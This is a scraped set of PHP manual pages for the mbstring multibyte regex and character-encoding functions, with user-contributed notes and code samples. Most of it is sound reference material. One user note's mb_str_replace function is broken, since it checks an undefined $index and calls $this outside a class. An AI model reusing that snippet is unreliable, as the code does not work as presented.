An array including the sub-string of matched part by last mb_ereg_search(), mb_ereg_search_pos(), mb_ereg_search_regs(). If there are some matches, the first element will have the matched sub-string, the second element will have the first part grouped with brackets, the third element will have the second part grouped with brackets, and so on. It returns FALSE on error;

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

Marius Kažemėkaitis 26-Jan-2007 08:48
Get unicode characters from string.

<?php

mb_regex_encoding("UTF-8");
mb_ereg_search_init("12345=ąčęėįšųūĄČĘĖĮŠŲŪ");
mb_ereg_search("=(\w+)");
$match = mb_ereg_search_getregs();

print($match[1]); //ąčęėįšųūĄČĘĖĮŠŲŪ

?>


Setup string and regular expression for a multibyte regular expression match

  • « mb_ereg_search_getregs
  • mb_ereg_search_pos »
  • PHP Manual
  • Multibyte String Functions
  • Setup string and regular expression for a multibyte regular expression match

mb_ereg_search_init

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search_init — Setup string and regular expression for a multibyte regular expression match

Description

bool mb_ereg_search_init ( string $string [, string $pattern [, string $option = "msr" ]] )

mb_ereg_search_init() sets
string and pattern
for a multibyte regular expression. These values are used for
mb_ereg_search(),
mb_ereg_search_pos(), and
mb_ereg_search_regs().

Parameters

string

The search string.

pattern

The search pattern.

option

The search option.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_search_regs() - Returns the matched part of a multibyte regular expression

User Contributed Notes

There are no user contributed notes for this page.


Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string

  • « mb_ereg_search_init
  • mb_ereg_search_regs »
  • PHP Manual
  • Multibyte String Functions
  • Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string

mb_ereg_search_pos

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search_pos — Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string

Description

array mb_ereg_search_pos ([ string $pattern [, string $option = "ms" ]] )

Returns position and length of a matched part of the multibyte regular expression for a predefined multibyte string

The string for match is specified by mb_ereg_search_init(). If it is not specified, the previous one will be used.

Parameters

pattern

The search pattern.

option

The search option.

Return Values

An array containing two elements. The first element is the offset, in bytes, where the match begins relative to the start of the search string, and the second element is the length in bytes of the match.

If an error occurs, FALSE is returned.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

There are no user contributed notes for this page.


Returns the matched part of a multibyte regular expression

  • « mb_ereg_search_pos
  • mb_ereg_search_setpos »
  • PHP Manual
  • Multibyte String Functions
  • Returns the matched part of a multibyte regular expression

mb_ereg_search_regs

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search_regs — Returns the matched part of a multibyte regular expression

Description

array mb_ereg_search_regs ([ string $pattern [, string $option = "ms" ]] )

Returns the matched part of a multibyte regular expression.

Parameters

pattern

The search pattern.

option

The search option.

Return Values

mb_ereg_search_regs() executes the multibyte regular expression match, and if there are some matched part, it returns an array including substring of matched part as first element, the first grouped part with brackets as second element, the second grouped part as third element, and so on. It returns FALSE on error.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

There are no user contributed notes for this page.


Set start point of next regular expression match

  • « mb_ereg_search_regs
  • mb_ereg_search »
  • PHP Manual
  • Multibyte String Functions
  • Set start point of next regular expression match

mb_ereg_search_setpos

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search_setpos — Set start point of next regular expression match

Description

bool mb_ereg_search_setpos ( int $position )

mb_ereg_search_setpos() sets the starting point of a match for mb_ereg_search().

Parameters

position

The position to set.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

There are no user contributed notes for this page.


Multibyte regular expression match for predefined multibyte string

  • « mb_ereg_search_setpos
  • mb_ereg »
  • PHP Manual
  • Multibyte String Functions
  • Multibyte regular expression match for predefined multibyte string

mb_ereg_search

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg_search — Multibyte regular expression match for predefined multibyte string

Description

bool mb_ereg_search ([ string $pattern [, string $option = "ms" ]] )

Performs a multibyte regular expression match for a predefined multibyte string.

Parameters

pattern

The search pattern.

option

The search option.

Return Values

mb_ereg_search() returns TRUE if the multibyte string matches with the regular expression, or FALSE otherwise. The string for matching is set by mb_ereg_search_init(). If pattern is not specified, the previous one is used.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_search_init() - Setup string and regular expression for a multibyte regular expression match

User Contributed Notes

dulao5 at gmail dot com 29-Apr-2007 08:11
mb_ereg_search & subpatterns
use loop:
<?php
    $str = "中国abc + abc ?!？！字符＃　china string";

    $reg = "\w+";

    mb_regex_encoding("UTF-8");

    mb_ereg_search_init($str, $reg);
    $r = mb_ereg_search();

    if(!$r)
    {
        echo "null\n";
    }
    else
    {
        $r = mb_ereg_search_getregs(); //get first result
        do
        {
            var_dump($r[0]);
            $r = mb_ereg_search_regs();//get next result
        }
        while($r);
    }
?>


Regular expression match with multibyte support

  • « mb_ereg_search
  • mb_eregi_replace »
  • PHP Manual
  • Multibyte String Functions
  • Regular expression match with multibyte support

mb_ereg

(PHP 4 >= 4.2.0, PHP 5)

mb_ereg — Regular expression match with multibyte support

Description

int mb_ereg ( string $pattern , string $string [, array $regs ] )

Executes the regular expression match with multibyte support.

Parameters

pattern

The search pattern.

string

The search string.

regs

Contains a substring of the matched string.

Return Values

Executes the regular expression match with multibyte support, and returns 1 if matches are found. If the optional regs parameter was specified, the function returns the byte length of matched part, and the array regs will contain the substring of matched string. The function returns 1 if it matches with the empty string. If no matches are found or an error happens, FALSE will be returned.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_eregi() - Regular expression match ignoring case with multibyte support

User Contributed Notes

Riikka K 14-Jul-2014 01:23
While hardly mentioned anywhere, it may be useful to note that mb_ereg uses Oniguruma library internally. The syntax for the default mode (ruby) is described here:

http://www.geocities.jp/kosako3/oniguruma/doc/RE.txt
pressler at hotmail dot de 20-Nov-2012 07:50
Note that mb_ereg() does not support the \uFFFF unicode syntax but uses \x{FFFF} instead:

<?PHP

$text = 'Peter is a boy.'; // english
$text = 'بيتر هو صبي.'; // arabic
//$text = 'פיטר הוא ילד.'; // hebrew

mb_regex_encoding('UTF-8');

if(mb_ereg('[\x{0600}-\x{06FF}]', $text)) // arabic range
//if(mb_ereg('[\x{0590}-\x{05FF}]', $text)) // hebrew range
{
    echo "Text has some arabic/hebrew characters.";
}
else
{
    echo "Text doesnt have arabic/hebrew characters.";
}

?>
Jon 11-Apr-2009 01:22
Hebrew regex tested on PHP 5, Ubuntu 8.04.
Seems to work fine without the mb_regex_encoding lines (commented out).
Didn't seem to work with \uxxxx (also commented out).

<?php
echo "Line ";
//mb_regex_encoding("ISO-8859-8");
//if(mb_ereg(".*([\u05d0-\u05ea]).*", $this->current_line))
if(mb_ereg(".*([א-ת]).*", $this->current_line))
{
    echo "has";
}
else
{
    echo "doesn't have";
}
echo " Hebrew characters.<br>";
//mb_regex_encoding("UTF-8");
?>


Replace regular expression with multibyte support ignoring case

  • « mb_ereg
  • mb_eregi »
  • PHP Manual
  • Multibyte String Functions
  • Replace regular expression with multibyte support ignoring case

mb_eregi_replace

(PHP 4 >= 4.2.0, PHP 5)

mb_eregi_replace — Replace regular expression with multibyte support ignoring case

Description

string mb_eregi_replace ( string $pattern , string $replace , string $string [, string $option = "msri" ] )

Scans string for matches to pattern, then replaces the matched text with replacement.

Parameters

pattern

The regular expression pattern. Multibyte characters may be used. The case will be ignored.

replace

The replacement text.

string

The searched string.

option
option has the same meaning as in mb_ereg_replace().

Return Values

The resultant string or FALSE on error.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

Warning

Never use the e modifier when working on untrusted input. No automatic escaping will happen (as known from preg_replace()). Not taking care of this will most likely create remote code execution vulnerabilities in your application.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg_replace() - Replace regular expression with multibyte support

User Contributed Notes

kirilatpillaxdotcom 02-Aug-2012 06:52
To highlight words in multi-byte text:

<?php
$s = 'Алабала';
$f = 'а';
echo preg_replace('/('.$f.')/iu', '<b>$1</b>', $s);
?>
its2dark2c at yahoo dot com 21-Aug-2011 01:36
when trying to find a way to strip newline from a multibyte UTF-8 string i got to this function just to discover later that POSIX don't "do" newline so i can't strip them, examples of what i tried are : \r\n , \\r\\n , (\\r\\n) (\\r|\\n)

and got no result
so since i wanted something like mb_nl2br() that's simple i wrote this little recursive function for UTF-8:

<?php
function mb_str_replace($find,$replace,&$str)
{
$i = mb_strpos($str,$find, 0,"UTF-8");
if ($index===false) {return;}
$str = mb_substr($str, 0,$i).$replace.mb_substr($str, $i+mb_strlen($find,"UTF-8"),mb_strlen($str,"UTF-8"));
$this->mb_str_replace($find,$replace,$str);
}
?>

note: moderate unit tesing was done, changed to other encodings
cat at feelthehouse dot ru 13-Sep-2008 06:27
Transliterator for cyrillic-to-latin letters for UTF chars:

<?php
function do_translit($st) {
    $replacement = array(
        "й"=>"i","ц"=>"c","у"=>"u","к"=>"k","е"=>"e","н"=>"n",
        "г"=>"g","ш"=>"sh","щ"=>"sh","з"=>"z","х"=>"x","ъ"=>"\'",
        "ф"=>"f","ы"=>"i","в"=>"v","а"=>"a","п"=>"p","р"=>"r",
        "о"=>"o","л"=>"l","д"=>"d","ж"=>"zh","э"=>"ie","ё"=>"e",
        "я"=>"ya","ч"=>"ch","с"=>"c","м"=>"m","и"=>"i","т"=>"t",
        "ь"=>"\'","б"=>"b","ю"=>"yu",
        "Й"=>"I","Ц"=>"C","У"=>"U","К"=>"K","Е"=>"E","Н"=>"N",
        "Г"=>"G","Ш"=>"SH","Щ"=>"SH","З"=>"Z","Х"=>"X","Ъ"=>"\'",
        "Ф"=>"F","Ы"=>"I","В"=>"V","А"=>"A","П"=>"P","Р"=>"R",
        "О"=>"O","Л"=>"L","Д"=>"D","Ж"=>"ZH","Э"=>"IE","Ё"=>"E",
        "Я"=>"YA","Ч"=>"CH","С"=>"C","М"=>"M","И"=>"I","Т"=>"T",
        "Ь"=>"\'","Б"=>"B","Ю"=>"YU",
    );

    foreach($replacement as $i=>$u) {
        $st = mb_eregi_replace($i,$u,$st);
    }
    return $st;
}
?>


Regular expression match ignoring case with multibyte support

  • « mb_eregi_replace
  • mb_get_info »
  • PHP Manual
  • Multibyte String Functions
  • Regular expression match ignoring case with multibyte support

mb_eregi

(PHP 4 >= 4.2.0, PHP 5)

mb_eregi — Regular expression match ignoring case with multibyte support

Description

int mb_eregi ( string $pattern , string $string [, array $regs ] )

Executes the case insensitive regular expression match with multibyte support.

Parameters

pattern

The regular expression pattern.

string

The string being searched.

regs

Contains a substring of the matched string.

Return Values

Executes the regular expression match with multibyte support, and returns 1 if matches are found. If the optional regs parameter was specified, the function returns the byte length of matched part, and the array regs will contain the substring of matched string. The function returns 1 if it matches with the empty string. If no matches are found or an error happens, FALSE will be returned.

Notes

Note:

The internal encoding or the character encoding specified by mb_regex_encoding() will be used as the character encoding for this function.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_ereg() - Regular expression match with multibyte support

User Contributed Notes

lasmit at what dot com 20-Feb-2012 07:31
I simulated it:
<?php
   $text = 'Äpfel';
   mb_internal_encoding( 'utf-8' );
   printf( "%d\n", mb_eregi( 'äpfel', $text ) ); // Output: 0
   printf( "%d\n", mb_ereg( 'äpfel', mb_strtolower( $text ) ) ); // Output: 1
   printf( "%d\n", mb_eregi( 'äpfel', mb_strtolower( $text ) ) ); // Output: 1
?>
bubalula at gmail dot com 27-Aug-2010 04:44
This function does not work - it is not case insensitive for non latin characters.
steve at brainwashstudios dot com 10-Apr-2003 04:52
When this function is perfected, and is not experimental, it may be very usefull in the searching and pinpointing of places inside large text files.


Get internal settings of mbstring

  • « mb_eregi
  • mb_http_input »
  • PHP Manual
  • Multibyte String Functions
  • Get internal settings of mbstring

mb_get_info

(PHP 4 >= 4.2.0, PHP 5)

mb_get_info — Get internal settings of mbstring

Description

mixed mb_get_info ([ string $type = "all" ] )

mb_get_info() returns the internal setting parameters of mbstring.

Parameters

type

If type isn't specified or is specified to "all", an array having the elements "internal_encoding", "http_output", "http_input", "func_overload", "mail_charset", "mail_header_encoding", "mail_body_encoding" will be returned.

If type is specified as "http_output", "http_input", "internal_encoding", "func_overload", the specified setting parameter will be returned.

Return Values

An array of type information if type is not specified, otherwise a specific type.

Changelog

Version | Description
5.1.3 | The entries "mail_charset", "mail_header_encoding", and "mail_body_encoding" were made available.
5.3.0 | The entry "http_output_conv_mimetypes" was made available.

See Also

  • mb_regex_encoding() - Set/Get character encoding for multibyte regex
  • mb_http_output() - Set/Get HTTP output character encoding

User Contributed Notes

There are no user contributed notes for this page.


Detect HTTP input character encoding

  • « mb_get_info
  • mb_http_output »
  • PHP Manual
  • Multibyte String Functions
  • Detect HTTP input character encoding

mb_http_input

(PHP 4 >= 4.0.6, PHP 5)

mb_http_input — Detect HTTP input character encoding

Description

mixed mb_http_input ([ string $type = "" ] )

Detects the HTTP input character encoding.

Parameters

type

Input string specifies the input type. "G" for GET, "P" for POST, "C" for COOKIE, "S" for string, "L" for list, and "I" for the whole list (will return array). If type is omitted, it returns the last input type processed.

Return Values

The character encoding name, as per the type. If mb_http_input() does not process specified HTTP input, it returns FALSE.

See Also

  • mb_internal_encoding() - Set/Get internal character encoding
  • mb_http_output() - Set/Get HTTP output character encoding
  • mb_detect_order() - Set/Get character encoding detection order

User Contributed Notes

Timido 27-Jul-2012 05:53
"pass" means "no conversion":

See here:
http://php.net/manual/en/mbstring.configuration.php#ini.mbstring.strict-detection

mbstring.http_input           = pass    ; No conversion.
mbstring.http_output          = pass    ; No conversion
anders jenbo pc dk 23-Oct-2007 05:00
As this does not seam to work (always returns "pass"). you can use

$encoding = mb_detect_encoding(urldecode($REQUEST_URI), 'UTF-8, UTF-7, ASCII, EUC-JP,SJIS, eucJP-win, SJIS-win, JIS, ISO-2022-JP, ISO-8859-1');

to detect the encoding of the url instead, similare steps could be taken to deteck cookies and post data although it would have to be done for each value.


Set/Get HTTP output character encoding

  • « mb_http_input
  • mb_internal_encoding »
  • PHP Manual
  • Multibyte String Functions
  • Set/Get HTTP output character encoding

mb_http_output

(PHP 4 >= 4.0.6, PHP 5)

mb_http_output — Set/Get HTTP output character encoding

Description

mixed mb_http_output ([ string $encoding = mb_http_output() ] )

Set/Get the HTTP output character encoding. Output after this function is called will be converted from the set internal encoding to encoding.

Parameters

encoding

If encoding is set, mb_http_output() sets the HTTP output character encoding to encoding.

If encoding is omitted, mb_http_output() returns the current HTTP output character encoding.

Return Values

If encoding is omitted, mb_http_output() returns the current HTTP output character encoding. Otherwise, Returns TRUE on success or FALSE on failure.

See Also

  • mb_internal_encoding() - Set/Get internal character encoding
  • mb_http_input() - Detect HTTP input character encoding
  • mb_detect_order() - Set/Get character encoding detection order

User Contributed Notes

Anonymous 13-Apr-2014 07:12
// ----- set mb_http_output encoding to UTF-8 -----
mb_http_output('UTF-8');

// ----- setup php for working with Unicode data -----
mb_internal_encoding('UTF-8');
mb_http_output('UTF-8');
mb_http_input('UTF-8');
mb_language('uni');
mb_regex_encoding('UTF-8');
ob_start('mb_output_handler');

// ---------------
anders jenbo pc dk 03-Oct-2007 10:23
By default this is set to 'pass' witch means that php will not touch the encoding and output it as it is in the source file.

Normaly this function isn't needed as long as you save the .php file in the same encoding as you want it to output as well as retrive all input in the same encoding, but it don't seam to herd as long as it able to figure out what encoding the output is in ín the first place.


Set/Get internal character encoding

  • Â« mb_http_output
  • mb_language Â»
  • PHP Manual
  • Multibyte String Functions
  • Set/Get internal character encoding

mb_internal_encoding

(PHP 4 >= 4.0.6, PHP 5)

mb_internal_encoding — Set/Get internal character encoding

Description

mixed mb_internal_encoding ([ string $encoding = mb_internal_encoding() ] )

Set/Get the internal character encoding

Parameters

encoding

encoding is the character encoding name used for the HTTP input character encoding conversion, HTTP output character encoding conversion, and the default character encoding for string functions defined by the mbstring module. You should notice that the internal encoding is totally different from the one for multibyte regex.

Return Values

If encoding is set, then Returns TRUE on success or FALSE on failure. In this case, the character encoding for multibyte regex is NOT changed. If encoding is omitted, then the current character encoding name is returned.

Examples

Example #1 mb_internal_encoding() example

<?php
/* Set internal character encoding to UTF-8 */
mb_internal_encoding("UTF-8");

/* Display current internal character encoding */
echo mb_internal_encoding();
?>

See Also

  • mb_http_input() - Detect HTTP input character encoding
  • mb_http_output() - Set/Get HTTP output character encoding
  • mb_detect_order() - Set/Get character encoding detection order
  • mb_regex_encoding() - Set/Get character encoding for multibyte regex

User Contributed Notes

john leborgne 01-Aug-2012 07:18
i noticed that setting mb_internal_encoding('UTF-8') in my global site config.inc.php, doesn't work in my classes : it reverse back to ISO-8859-1.
Adding the call to the constructor of my top site class resolve this.
mdirks at gulfstreamcoach dot com 17-May-2007 05:55
In response to mortoray at ecircle-ag dot com:

The characters display fine as long as you set the Encoding to something more "Latin 1" compatible (i.e. US-ACSII, ISO-8859-1, ISO-8859-1, or  Windows 1252). PHP.net auto-detects to UTF-8
Joachim Kruyswijk 25-May-2006 09:52
Especially when writing PHP scripts for use on different servers, it is a very good idea to explicitly set the internal encoding somewhere on top of every document served, e.g.

mb_internal_encoding("UTF-8");

This, in combination with mysql-statement "SET NAMES 'utf8'", will save a lot of debugging trouble.

Also, use the multi-byte string functions instead of the ones you may be used to, e.g. mb_strlen() instead of strlen(), etc.
mortoray at ecircle-ag dot com 27-May-2005 01:10
To previous example, the PHP notes don't appear to support umlauted characters so there are question marks  (?) there instead of what should be umlauated oue.  Just substitute any high-order/accented character to see the effect.
mortoray at ecircle-ag dot com 27-May-2005 08:58
Be aware that the strings in your source files must match the encoding you specify by mb_internal_encoding.  It appears the Parser loads raw bytes from the file and refers to its internal encoding to determine their actual encoding.

To demonstrate, the following outputs as espected when the /source/ file is Latin-1 encoded:

<?php
    mb_internal_encoding("iso-8859-1");
    mb_http_output( "UTF-8" );
    ob_start("mb_output_handler");

    echo "üöä<br/>";

    ?>üöä

Now, a typical use of mb_internal_encoding is shown as follows.  Make the change to "utf-8" but leave the /source/ file encoding unchanged:

<?php
    mb_internal_encoding("UTF-8");
    mb_http_output( "UTF-8" );
    ob_start("mb_output_handler");

    echo "üöä<br/>";

    ?>üöä

The output will just show the <br/> tag and no text.

Save the file as UTF-8 encoding and then the results will be as expected.


Set/Get current language

  • « mb_internal_encoding
  • mb_list_encodings »
  • PHP Manual
  • Multibyte String Functions
  • Set/Get current language

mb_language

(PHP 4 >= 4.0.6, PHP 5)

mb_language — Set/Get current language

Description

mixed mb_language ([ string $language = mb_language() ] )

Set/Get the current language.

Parameters

language

Used for encoding e-mail messages. Valid languages are "Japanese", "ja","English","en" and "uni" (UTF-8). mb_send_mail() uses this setting to encode e-mail.

Language and its setting is ISO-2022-JP/Base64 for Japanese, UTF-8/Base64 for uni, ISO-8859-1/quoted printable for English.

Return Values

If language is set and language is valid, it returns TRUE. Otherwise, it returns FALSE. When language is omitted, it returns the language name as a string. If no language is set previously, it then returns FALSE.

See Also

  • mb_send_mail() - Send encoded mail

User Contributed Notes

Anonymous 10-Jun-2014 08:55
In PHP 5.3, mb_language() returns "neutral" by default for me.


Returns an array of all supported encodings

  • « mb_language
  • mb_output_handler »
  • PHP Manual
  • Multibyte String Functions
  • Returns an array of all supported encodings

mb_list_encodings

(PHP 5)

mb_list_encodings — Returns an array of all supported encodings

Description

array mb_list_encodings ( void )

Returns an array containing all supported encodings.

Parameters

This function has no parameters.

Return Values

Returns a numerically indexed array.

Errors/Exceptions

This function does not emit any errors.

Examples

Example #1 mb_list_encodings() example

<?php

print_r(mb_list_encodings());

?>

The above example will output something similar to:

Array
(
    [0] => pass
    [1] => auto
    [2] => wchar
    [3] => byte2be
    [4] => byte2le
    [5] => byte4be
    [6] => byte4le
    [7] => BASE64
    [8] => UUENCODE
    [9] => HTML-ENTITIES
    [10] => Quoted-Printable
    [11] => 7bit
    [12] => 8bit
    [13] => UCS-4
    [14] => UCS-4BE
    [15] => UCS-4LE
    [16] => UCS-2
    [17] => UCS-2BE
    [18] => UCS-2LE
    [19] => UTF-32
    [20] => UTF-32BE
    [21] => UTF-32LE
    [22] => UTF-16
    [23] => UTF-16BE
    [24] => UTF-16LE
    [25] => UTF-8
    [26] => UTF-7
    [27] => UTF7-IMAP
    [28] => ASCII
    [29] => EUC-JP
    [30] => SJIS
    [31] => eucJP-win
    [32] => SJIS-win
    [33] => JIS
    [34] => ISO-2022-JP
    [35] => Windows-1252
    [36] => ISO-8859-1
    [37] => ISO-8859-2
    [38] => ISO-8859-3
    [39] => ISO-8859-4
    [40] => ISO-8859-5
    [41] => ISO-8859-6
    [42] => ISO-8859-7
    [43] => ISO-8859-8
    [44] => ISO-8859-9
    [45] => ISO-8859-10
    [46] => ISO-8859-13
    [47] => ISO-8859-14
    [48] => ISO-8859-15
    [49] => EUC-CN
    [50] => CP936
    [51] => HZ
    [52] => EUC-TW
    [53] => BIG-5
    [54] => EUC-KR
    [55] => UHC
    [56] => ISO-2022-KR
    [57] => Windows-1251
    [58] => CP866
    [59] => KOI8-R
)

User Contributed Notes

bronze1man at gmail dot com 17-Oct-2013 10:59
Note: Not all accept encoding name string are here.
mb_convert_encoding() accept "gbk", but it is not here.


Callback function converts character encoding in output buffer

  • « mb_list_encodings
  • mb_parse_str »
  • PHP Manual
  • Multibyte String Functions
  • Callback function converts character encoding in output buffer

mb_output_handler

(PHP 4 >= 4.0.6, PHP 5)

mb_output_handler — Callback function converts character encoding in output buffer

Description

string mb_output_handler ( string $contents , int $status )

mb_output_handler() is
ob_start() callback
function. mb_output_handler() converts
characters in the output buffer from internal character encoding to
HTTP output character encoding.

Parameters

contents

The contents of the output buffer.

status

The status of the output buffer.

Return Values

The converted string.

Changelog

Version Description
4.1.0

This handler now adds the charset HTTP header when the following conditions are met:

  • Content-Type has not been set, using header().
  • The default MIME type begins with text/.
  • The mbstring.http_input setting is something other than pass.

Examples

Example #1 mb_output_handler() example

<?php
mb_http_output("UTF-8");
ob_start("mb_output_handler");
?>

Notes

Note:

If you want to output binary data, such as an image, using PHP 4.3.0 or later, a Content-Type: header must be set using header() before any binary data is sent to the client (e.g. header("Content-Type: image/png")). If Content-Type: header is sent, output character encoding conversion will not be performed.

Note that if 'Content-Type: text/*' is sent, the content body is regarded as text; conversion will take place.

If you want to output binary data, such as an image, using PHP 4.2.x or earlier, you must set output encoding to "pass" using mb_http_output().

See Also

  • ob_start() - Turn on output buffering

User Contributed Notes

There are no user contributed notes for this page.


Parse GET/POST/COOKIE data and set global variable

  • « mb_output_handler
  • mb_preferred_mime_name »
  • PHP Manual
  • Multibyte String Functions
  • Parse GET/POST/COOKIE data and set global variable

mb_parse_str

(PHP 4 >= 4.0.6, PHP 5)

mb_parse_str — Parse GET/POST/COOKIE data and set global variable

Description

bool mb_parse_str ( string $encoded_string [, array &$result ] )

Parses GET/POST/COOKIE data and sets global variables. Since PHP does not provide raw POST/COOKIE data, it can only be used for GET data for now. It parses URL encoded data, detects encoding, converts coding to internal encoding and set values to the result array or global variables.

Parameters

encoded_string

The URL encoded data.

result

An array containing decoded and character encoded converted values.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mb_detect_order() - Set/Get character encoding detection order
  • mb_internal_encoding() - Set/Get internal character encoding

User Contributed Notes

There are no user contributed notes for this page.


Get MIME charset string

  • « mb_parse_str
  • mb_regex_encoding »
  • PHP Manual
  • Multibyte String Functions
  • Get MIME charset string

mb_preferred_mime_name

(PHP 4 >= 4.0.6, PHP 5)

mb_preferred_mime_name — Get MIME charset string

Description

string mb_preferred_mime_name ( string $encoding )

Get a MIME charset string for a specific encoding.

Parameters

encoding

The encoding being checked.

Return Values

The MIME charset string for character encoding encoding.

Examples

Example #1 mb_preferred_mime_name() example

<?php
$outputenc = "sjis-win";
mb_http_output($outputenc);
ob_start("mb_output_handler");
header("Content-Type: text/html; charset=" . mb_preferred_mime_name($outputenc));
?>

User Contributed Notes

There are no user contributed notes for this page.


Set/Get character encoding for multibyte regex

  • « mb_preferred_mime_name
  • mb_regex_set_options »
  • PHP Manual
  • Multibyte String Functions
  • Set/Get character encoding for multibyte regex

mb_regex_encoding

(PHP 4 >= 4.2.0, PHP 5)

mb_regex_encoding — Set/Get character encoding for multibyte regex

Description

mixed mb_regex_encoding ([ string $encoding = mb_regex_encoding() ] )

Set/Get character encoding for a multibyte regex.

Parameters

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

If encoding is set, then Returns TRUE on success or FALSE on failure. In this case, the internal character encoding is NOT changed. If encoding is omitted, then the current character encoding name for a multibyte regex is returned.

Changelog

Version | Description
5.6.0 | Default encoding is changed to UTF-8. It was EUC-JP Previously.

See Also

  • mb_internal_encoding() - Set/Get internal character encoding
  • mb_ereg() - Regular expression match with multibyte support

User Contributed Notes

php dot net at phor dot net 31-Aug-2010 10:40
Beware, mb_regex_encoding does not support the same set of encodings as listed in mb_list_encodings.php

Example:

<?php
mb_internal_encoding('CP936');
mb_regex_encoding('CP936'); # this line produces an error
 ?>
Anonymous 28-Jun-2009 07:07
To change algo the regex_encodign
<?php
echo "current mb_internal_encoding: ".mb_internal_encoding()."<br />";
echo "changing mb_internal_encoding to UTF-8<br />";
mb_internal_encoding("UTF-8");
echo "new mb_internal_encoding: ".mb_internal_encoding()."<br />";

echo "current mb_regex_encoding: ".mb_regex_encoding()."<br />";
echo "changing mb_regex_encoding to UTF-8<br />";
mb_regex_encoding('UTF-8');
echo "new mb_regex_encoding: ".mb_regex_encoding()."<br />";
?>
zl at zl dot hu 29-May-2009 03:05
Return values vary in setting and getting:

<?php
  echo mb_regex_encoding();
  // returns encoding name as a string
?>

<?php
  echo mb_regex_encoding("UTF-8");
  // returns true (success) of false as a boolean
?>


Set/Get the default options for mbregex functions

  • « mb_regex_encoding
  • mb_send_mail »
  • PHP Manual
  • Multibyte String Functions
  • Set/Get the default options for mbregex functions

mb_regex_set_options

(PHP 4 >= 4.3.0, PHP 5)

mb_regex_set_options — Set/Get the default options for mbregex functions

Description

string mb_regex_set_options ([ string $options = mb_regex_set_options() ] )

Sets the default options described by options for multibyte regex functions.

Parameters

options

The options to set. This is a string where each character is an option. To set a mode, the mode character must be the last one set, however there can only be set one mode but multiple options.

Regex options
Option | Meaning
i | Ambiguity match on
x | Enables extended pattern form
m | '.' matches with newlines
s | '^' -> '\A', '$' -> '\Z'
p | Same as both the m and s options
l | Finds longest matches
n | Ignores empty matches
e | eval() resulting code
Regex syntax modes
Mode | Meaning
j | Java (Sun java.util.regex)
u | GNU regex
g | grep
c | Emacs
r | Ruby
z | Perl
b | POSIX Basic regex
d | POSIX Extended regex

Return Values

The previous options. If options is omitted, it returns the string that describes the current options.

See Also

  • mb_split() - Split multibyte string using regular expression
  • mb_ereg() - Regular expression match with multibyte support
  • mb_eregi() - Regular expression match ignoring case with multibyte support

User Contributed Notes

indeyets at php dot net 27-Nov-2009 11:58
It's a bit trickier, than patryk wrote:

There are parameters (you can specify several of these at the same time):

'i': ONIG_OPTION_IGNORECASE;
'x': ONIG_OPTION_EXTEND;
'm': ONIG_OPTION_MULTILINE;
's': ONIG_OPTION_SINGLELINE;
'p': ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE;
'l': ONIG_OPTION_FIND_LONGEST;
'n': ONIG_OPTION_FIND_NOT_EMPTY;
'e': eval() resulting code

And there are "modes" (if you specify several of these, the LAST one will be used):
'j': ONIG_SYNTAX_JAVA;
'u': ONIG_SYNTAX_GNU_REGEX;
'g': ONIG_SYNTAX_GREP;
'c': ONIG_SYNTAX_EMACS;
'r': ONIG_SYNTAX_RUBY;
'z': ONIG_SYNTAX_PERL;
'b': ONIG_SYNTAX_POSIX_BASIC;
'd': ONIG_SYNTAX_POSIX_EXTENDED;

You can find descriptions of these constants here: http://www.geocities.jp/kosako3/oniguruma/doc/API.txt
patryk dot szczyglowski at gmail dot com 12-Dec-2008 07:12
Supported options are:

i - ONIG_OPTION_IGNORECASE
x - ONIG_OPTION_EXTEND
m - ONIG_OPTION_MULTILINE
s - ONIG_OPTION_SINGLELINE
p - ONIG_OPTION_MULTILINE | ONIG_OPTION_SINGLELINE
l - ONIG_OPTION_FIND_LONGEST
n - ONIG_OPTION_FIND_NOT_EMPTY
j - ONIG_SYNTAX_JAVA
u - ONIG_SYNTAX_GNU_REGEX
g - ONIG_SYNTAX_GREP
c - ONIG_SYNTAX_EMACS
r - ONIG_SYNTAX_RUBY
z - ONIG_SYNTAX_PERL
b - ONIG_SYNTAX_POSIX_BASIC
d - ONIG_SYNTAX_POSIX_EXTENDED
e - eval() resulting code

